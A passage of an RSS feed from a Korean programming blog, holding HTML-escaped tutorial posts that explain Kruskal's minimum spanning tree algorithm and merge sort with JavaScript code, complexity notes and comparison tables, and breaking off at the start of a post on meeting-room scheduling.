srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8yMfd%2FbtsOqGEM1yJ%2FYHjNrIBkBNz6OYOijUAxe1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuInVZ/btsOpL09BaV/SeAWOZPv1sGAWPp5uF3ECk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/cuInVZ/btsOpL09BaV/SeAWOZPv1sGAWPp5uF3ECk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuInVZ/btsOpL09BaV/SeAWOZPv1sGAWPp5uF3ECk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuInVZ%2FbtsOpL09BaV%2FSeAWOZPv1sGAWPp5uF3ECk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZRbOj/btsOpMTgRYv/2GsF99iP2BLonSBXdeArIk/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/ZRbOj/btsOpMTgRYv/2GsF99iP2BLonSBXdeArIk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZRbOj/btsOpMTgRYv/2GsF99iP2BLonSBXdeArIk/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZRbOj%2FbtsOpMTgRYv%2F2GsF99iP2BLonSBXdeArIk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ds3qQp/btsOoHL9iB5/ddVM5FGJaUGV2lX8pbO3KK/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/ds3qQp/btsOoHL9iB5/ddVM5FGJaUGV2lX8pbO3KK/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ds3qQp/btsOoHL9iB5/ddVM5FGJaUGV2lX8pbO3KK/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fds3qQp%2FbtsOoHL9iB5%2FddVM5FGJaUGV2lX8pbO3KK%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rQE35/btsOpIQWM5Y/e6RRX0ztarZEQa6s3cblU0/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/rQE35/btsOpIQWM5Y/e6RRX0ztarZEQa6s3cblU0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rQE35/btsOpIQWM5Y/e6RRX0ztarZEQa6s3cblU0/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrQE35%2FbtsOpIQWM5Y%2Fe6RRX0ztarZEQa6s3cblU0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btPht5/btsOpMTgRYb/lir1VvZkQZksldkCclK431/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/btPht5/btsOpMTgRYb/lir1VvZkQZksldkCclK431/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btPht5/btsOpMTgRYb/lir1VvZkQZksldkCclK431/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtPht5%2FbtsOpMTgRYb%2Flir1VvZkQZksldkCclK431%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;span class=&quot;image-wrap &quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w9z2J/btsOpQuBNHF/IanB3eZFhhkGMuXS7zjnm1/img.webp&quot; data-url=&quot;https://blog.kakaocdn.net/dn/w9z2J/btsOpQuBNHF/IanB3eZFhhkGMuXS7zjnm1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w9z2J/btsOpQuBNHF/IanB3eZFhhkGMuXS7zjnm1/img.webp&quot; loading=&quot;lazy&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw9z2J%2FbtsOpQuBNHF%2FIanB3eZFhhkGMuXS7zjnm1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;button class=&quot;btn btn-prev&quot;&gt;&lt;span class=&quot;ico-prev&quot;&gt;이전&lt;/span&gt;&lt;/button&gt;&lt;button class=&quot;btn btn-next&quot;&gt;&lt;span class=&quot;ico-next&quot;&gt;다음&lt;/span&gt;&lt;/button&gt;&lt;/div&gt;
  &lt;div class=&quot;mark&quot;&gt;&lt;span data-index=&quot;0&quot;&gt;0&lt;/span&gt;&lt;span data-index=&quot;1&quot;&gt;1&lt;/span&gt;&lt;span data-index=&quot;2&quot;&gt;2&lt;/span&gt;&lt;span data-index=&quot;3&quot;&gt;3&lt;/span&gt;&lt;span data-index=&quot;4&quot;&gt;4&lt;/span&gt;&lt;span data-index=&quot;5&quot;&gt;5&lt;/span&gt;&lt;span data-index=&quot;6&quot;&gt;6&lt;/span&gt;&lt;span data-index=&quot;7&quot;&gt;7&lt;/span&gt;&lt;span data-index=&quot;8&quot;&gt;8&lt;/span&gt;&lt;span data-index=&quot;9&quot;&gt;9&lt;/span&gt;&lt;span data-index=&quot;10&quot;&gt;10&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript 예제 코드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Union-Find 자료구조 구현&lt;/h3&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;// 부모 노드를 찾는 함수 (경로 압축 포함)
function find(parent, x) {
  if (parent[x] !== x) {
    parent[x] = find(parent, parent[x]); // 재귀적으로 부모를 찾아가며 경로 압축
  }
  return parent[x];
}

// 두 노드를 하나의 집합으로 합치는 함수
function union(parent, a, b) {
  const rootA = find(parent, a);
  const rootB = find(parent, b);
  if (rootA !== rootB) {
    parent[rootB] = rootA; // 하나의 트리에 병합
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;크루스칼 알고리즘 본체&lt;/h3&gt;
&lt;pre class=&quot;qml&quot;&gt;&lt;code&gt;function kruskal(n, edges) {
  // 간선을 가중치 기준으로 정렬
  edges.sort((a, b) =&amp;gt; a[2] - b[2]);

  const parent = Array.from({ length: n }, (_, i) =&amp;gt; i);
  const mst = []; // MST에 포함되는 간선들
  let totalCost = 0; // 최소 비용 누적

  for (let [u, v, weight] of edges) {
    if (find(parent, u) !== find(parent, v)) {
      union(parent, u, v); // 사이클이 없으므로 간선 추가
      mst.push([u, v, weight]);
      totalCost += weight;
    }
  }

  return { mst, totalCost };
}

// 예시 실행
const edges = [
  [0, 1, 10],
  [0, 2, 6],
  [0, 3, 5],
  [1, 3, 15],
  [2, 3, 4]
];

const result = kruskal(4, edges);
console.log(&quot;MST Edges:&quot;, result.mst);
console.log(&quot;Total Cost:&quot;, result.totalCost);&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실행 결과 예시&lt;/h2&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;MST Edges: [ [ 2, 3, 4 ], [ 0, 3, 5 ], [ 0, 1, 10 ] ]
Total Cost: 19&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 및 공간 복잡도&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시간 복잡도&lt;/b&gt;: O(E log E)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;E는 간선의 개수. 간선 정렬에 O(E log E), Union-Find 연산은 거의 O(1)에 가까움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공간 복잡도&lt;/b&gt;: O(V)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;V는 정점 수. Union-Find를 위한 배열 크기만큼 공간이 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프림 알고리즘과의 비교&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;크루스칼 알고리즘&lt;/th&gt;
&lt;th&gt;프림 알고리즘&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;접근 방식&lt;/td&gt;
&lt;td&gt;간선 중심(edge-based)&lt;/td&gt;
&lt;td&gt;정점 중심(vertex-based)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;주요 자료구조 사용&lt;/td&gt;
&lt;td&gt;Union-Find&lt;/td&gt;
&lt;td&gt;Min-Heap 또는 인접 리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;희소 그래프에서의 효율성&lt;/td&gt;
&lt;td&gt;뛰어남&lt;/td&gt;
&lt;td&gt;다소 떨어질 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;구현 난이도&lt;/td&gt;
&lt;td&gt;비교적 간단&lt;/td&gt;
&lt;td&gt;Heap 연산이 복잡할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;통신 네트워크 구축&lt;/b&gt;: ISP, 통신사 등의 인프라 설계 시 최소 비용으로 노드 연결&lt;/li&gt;
&lt;li&gt;&lt;b&gt;도로망 설계&lt;/b&gt;: 도로 공사 시 예산 내에서 도시들을 연결할 때 사용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;전력망 구성&lt;/b&gt;: 전기 공급망을 효율적으로 설계하기 위한 그래프 모델링&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지리 기반 애플리케이션&lt;/b&gt;: 지도상의 경로 최소 연결 구조 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 CTA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;크루스칼 알고리즘&quot;은 그래프의 구조를 최소 비용으로 연결할 수 있도록 해주는 매우 실용적인 알고리즘입니다. &quot;그리디 전략&quot;과 &quot;Union-Find&quot; 개념을 함께 익히는 데 효과적이며, 그래프 문제에서 기본적으로 요구되는 핵심 전략 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정점 중심으로 탐색하는 &quot;프림 알고리즘&quot;과 병행하여 학습하면, 다양한 그래프 상황에 따라 최적의 알고리즘을 선택하는 안목을 기를 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/en/mst&quot;&gt;Visualgo - MST 시각화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.programiz.com/dsa/kruskal-algorithm&quot;&gt;Programiz - Kruskal's Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/kruskals-minimum-spanning-tree-algorithm-greedy-algo-2/&quot;&gt;GeeksforGeeks - Kruskal Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 자료들은 시각적으로 구조를 파악하고 알고리즘 흐름을 따라가기에 좋은 참고 리소스입니다. 단계별로 &quot;Union-Find&quot; 동작이 어떻게 수행되는지 직접 확인해보며 학습하면, MST 설계에 대한 이해가 훨씬 깊어질 수 있습니다.&lt;/p&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/486</guid>
      <comments>https://eyecandyzero.tistory.com/486#entry486comment</comments>
      <pubDate>Thu, 5 Jun 2025 08:04:12 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 이해하는 병합 정렬 (Merge Sort Algorithm)</title>
      <link>https://eyecandyzero.tistory.com/485</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;병합 정렬이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;병합 정렬(Merge Sort)&quot;은 &quot;분할 정복&quot; 전략을 기반으로 하는 효율적인 정렬 알고리즘입니다. 이 알고리즘은 입력 배열을 더 작은 하위 배열로 재귀적으로 나눈 후, 각 하위 배열을 정렬하고, 다시 병합하면서 전체 배열을 정렬하는 방식으로 동작합니다. 특히 &quot;병합 정렬&quot;은 안정 정렬(stable sort)에 해당하며, 입력 배열의 원소 순서가 동일한 값일 경우에도 유지된다는 특성을 가집니다. 또한 최악의 경우에도 시간 복잡도가 일정하여 매우 안정적인 성능을 보입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;안정 정렬&quot;이란, 값이 같은 항목이 있을 때 원래의 입력 순서를 그대로 유지하는 정렬을 말합니다. 예를 들어 이름과 점수를 함께 정렬하는 상황에서, 점수가 같은 학생들의 이름 순서를 유지할 수 있는 정렬 방식이 안정 정렬입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 원리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;분할 정복&quot; 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;병합 정렬&quot;은 세 단계로 이루어진 &quot;분할 정복(Divide and Conquer)&quot; 구조를 따릅니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Divide (분할)&lt;/b&gt;: 배열을 정확히 반으로 나누어 더 작은 부분 문제로 쪼갭니다. 이 작업은 배열의 길이가 1이 될 때까지 반복됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Conquer (정복)&lt;/b&gt;: 분할된 배열이 더 이상 나눌 수 없는 수준(길이 1 이하)에 도달하면, 해당 배열은 정렬된 것으로 간주합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Combine (병합)&lt;/b&gt;: 각 정렬된 하위 배열을 병합하며 하나의 정렬된 배열로 합칩니다. 이 과정에서 크기 비교를 통해 정렬된 형태를 유지합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 방식은 재귀 호출을 통해 매우 자연스럽게 구현됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript로 구현하기&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;merge 함수&lt;/h3&gt;
&lt;pre class=&quot;swift&quot;&gt;&lt;code&gt;// 두 개의 정렬된 배열을 병합하는 함수
function merge(left, right) {
  const result = []; // 결과 배열 초기화
  let i = 0, j = 0;   // left와 right 배열의 인덱스 포인터

  // 양쪽 배열의 요소를 비교하며 작은 값을 결과에 추가
  while (i &amp;lt; left.length &amp;amp;&amp;amp; j &amp;lt; right.length) {
    if (left[i] &amp;lt; right[j]) {
      result.push(left[i]);
      i++;
    } else {
      result.push(right[j]);
      j++;
    }
  }

  // 남은 요소들을 결과 배열에 추가
  return result.concat(left.slice(i)).concat(right.slice(j));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzOd9K/btsOoPowsFQ/7c9Gxh9mVGocqgZ28JEB2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzOd9K/btsOoPowsFQ/7c9Gxh9mVGocqgZ28JEB2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzOd9K/btsOoPowsFQ/7c9Gxh9mVGocqgZ28JEB2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzOd9K%2FbtsOoPowsFQ%2F7c9Gxh9mVGocqgZ28JEB2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;mergeSort 함수&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// 병합 정렬의 재귀 함수
function mergeSort(arr) {
  if (arr.length &amp;lt;= 1) return arr; // 더 이상 분할 불가한 경우 base case

  const mid = Math.floor(arr.length / 2);       // 배열을 반으로 나눌 중간 인덱스
  const left = arr.slice(0, mid);               // 왼쪽 하위 배열
  const right = arr.slice(mid);                 // 오른쪽 하위 배열

  // 각 하위 배열을 재귀적으로 정렬한 뒤 병합
  return merge(mergeSort(left), mergeSort(right));
}

// 예제 실행
const sample = [38, 27, 43, 3, 9, 82, 10];
console.log(&quot;정렬 결과:&quot;, mergeSort(sample));&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;출력 결과&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;정렬 결과: [3, 9, 10, 27, 38, 43, 82]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시각 자료로 보는 정렬 과정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;병합 정렬은 다음과 같은 흐름을 따릅니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;[38, 27, 43, 3, 9, 82, 10]&lt;/code&gt; &amp;rarr; 분할 &amp;rarr; &lt;code&gt;[38, 27, 43]&lt;/code&gt; + &lt;code&gt;[3, 9, 82, 10]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[38, 27, 43]&lt;/code&gt; &amp;rarr; &lt;code&gt;[38]&lt;/code&gt; + &lt;code&gt;[27, 43]&lt;/code&gt; &amp;rarr; &lt;code&gt;[27]&lt;/code&gt; + &lt;code&gt;[43]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[3, 9, 82, 10]&lt;/code&gt; &amp;rarr; &lt;code&gt;[3, 9]&lt;/code&gt; + &lt;code&gt;[82, 10]&lt;/code&gt; &amp;rarr; &lt;code&gt;[3]&lt;/code&gt; + &lt;code&gt;[9]&lt;/code&gt;, &lt;code&gt;[82]&lt;/code&gt; + &lt;code&gt;[10]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;이후 병합하면서 정렬: &lt;code&gt;[27, 38, 43]&lt;/code&gt;, &lt;code&gt;[3, 9, 10, 82]&lt;/code&gt; &amp;rarr; &lt;code&gt;[3, 9, 10, 27, 38, 43, 82]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 &quot;분할 정복&quot;, &quot;재귀 호출&quot;, &quot;정렬된 결과 배열&quot;을 단계적으로 구현하는 과정이 명확히 드러납니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 및 공간 복잡도&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간 복잡도: O(n log n)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력 배열을 반으로 나누는 분할 단계가 log n 번 반복되고, 각 병합 단계에서 n 개의 요소를 비교하므로 전체 시간 복잡도는 O(n log n)입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;공간 복잡도: O(n)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정렬된 결과를 저장하기 위한 보조 배열이 필요하기 때문에 추가적인 메모리 공간이 요구됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;병합 정렬은 &quot;in-place 정렬&quot;이 아니기 때문에, 메모리 측면에서는 퀵 정렬보다 효율이 떨어질 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;퀵 정렬과의 차이&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비교 항목&lt;/th&gt;
&lt;th&gt;병합 정렬&lt;/th&gt;
&lt;th&gt;퀵 정렬&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;평균 시간 복잡도&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최악의 경우&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n^2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;안정 정렬 여부&lt;/td&gt;
&lt;td&gt;예&lt;/td&gt;
&lt;td&gt;아니오&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공간 효율성&lt;/td&gt;
&lt;td&gt;낮음 (O(n) 필요)&lt;/td&gt;
&lt;td&gt;높음 (in-place 정렬)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;병합 정렬&quot;은 항상 일정한 시간 복잡도를 보장하기 때문에 예측 가능한 성능이 중요한 상황에 적합합니다. 반면, &quot;퀵 정렬&quot;은 평균적으로 빠르지만, 특정 케이스에서는 매우 비효율적일 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실제 활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;링크드 리스트 기반 정렬&lt;/b&gt;: 임의의 위치에 접근이 어려운 링크드 리스트에서 효율적인 정렬을 제공함.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;외부 정렬&lt;/b&gt;: 전체 데이터를 메모리에 올릴 수 없는 경우 디스크 기반 정렬에 활용됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;금융, 의료 데이터 처리&lt;/b&gt;: 데이터의 정렬 순서 보존이 중요한 시스템에서 활용.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 CTA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;병합 정렬&quot;은 정렬 알고리즘 중에서도 특히 안정성과 이론적 완성도가 뛰어난 방법입니다. 재귀적 구조 덕분에 코드가 간결하고, 예측 가능한 시간 복잡도로 대규모 데이터 처리에 적합합니다. 정렬 문제를 보다 깊이 이해하려면 병합 정렬을 시작으로 &quot;퀵 정렬&quot;, &quot;힙 정렬&quot; 등 다른 정렬 알고리즘과의 비교 학습이 효과적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://visualgo.net/en/sorting&quot;&gt;Visualgo - Merge Sort Visualization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/merge-sort/&quot;&gt;GeeksforGeeks - Merge Sort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.programiz.com/dsa/merge-sort&quot;&gt;Programiz - Merge Sort Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정렬 알고리즘의 구조와 작동 원리를 체계적으로 학습하고 싶다면, 위 자료를 통해 시각화와 함께 연습하는 것을 권장합니다.&lt;/p&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/485</guid>
      <comments>https://eyecandyzero.tistory.com/485#entry485comment</comments>
      <pubDate>Wed, 4 Jun 2025 09:05:16 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 이해하는 회의실 배정 문제 (Meeting Room Scheduling)</title>
      <link>https://eyecandyzero.tistory.com/484</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;회의실 배정 문제란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;회의실 배정 문제&quot;는 여러 개의 회의 요청이 주어졌을 때, 겹치지 않도록 회의 일정을 구성하거나 회의실을 최소한으로 사용하여 모든 회의를 수용하는 문제입니다. 문제는 크게 두 가지 유형으로 나눌 수 있습니다:&lt;/p&gt;
